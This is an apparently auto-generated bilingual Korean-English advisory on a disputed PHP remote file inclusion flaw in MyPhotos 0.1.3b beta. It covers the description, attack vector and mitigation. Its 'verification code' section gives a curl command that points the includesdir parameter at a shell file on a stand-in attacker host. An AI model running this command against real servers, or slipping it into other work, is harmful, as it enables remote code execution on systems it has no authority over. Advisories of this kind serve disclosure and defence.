🇰🇷 한글 설명
MyPhotos 0.1.3b 베타 버전의 index.php에서 includesdir 매개변수를 통한 PHP 원격 파일 포함(RFI) 취약점이 발견되었습니다. 이를 통해 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 다만 제품을 정확한 설치 지침에 따라 설치할 경우 includesdir이 사용 전에 정의되므로 실제 악용 가능성에 대해서는 논쟁의 여지가 있습니다.
💡 쉬운 설명
MyPhotos 웹 애플리케이션에서 폴더 경로를 설정하는 부분에서 외부 파일을 불러올 수 있는 보안 결함이 있었습니다. 공격자가 이를 이용하면 서버에서 악의적인 코드를 실행할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in MyPhotos 0.1.3b beta allows remote attackers to execute arbitrary PHP code via the includesdir parameter. NOTE: this issue is disputed by CVE on 20060927, since the includesdir is defined before being used when the product is installed according to the provided instructions
📍 영향받는 시스템
MyPhotos 0.1.3b 베타 버전
⚔️ 공격 벡터
HTTP GET/POST 요청의 includesdir 매개변수에 악의적인 파일 경로를 삽입하여 원격 PHP 코드 실행 유도
🛡️ 대응 방법
MyPhotos를 최신 버전으로 업그레이드하거나, 공식 설치 지침을 정확히 따르며 includesdir을 사전에 정의하여 사용
🔧 검증 코드
대상 서버에서 외부 파일 로드 시도 시 에러나 경고 메시지가 반환되면 취약점 노출 가능성 있음
curl -s 'http://target/index.php?includesdir=http://attacker.com/shell.php' 2>&1 | grep -i 'error\|warning\|success'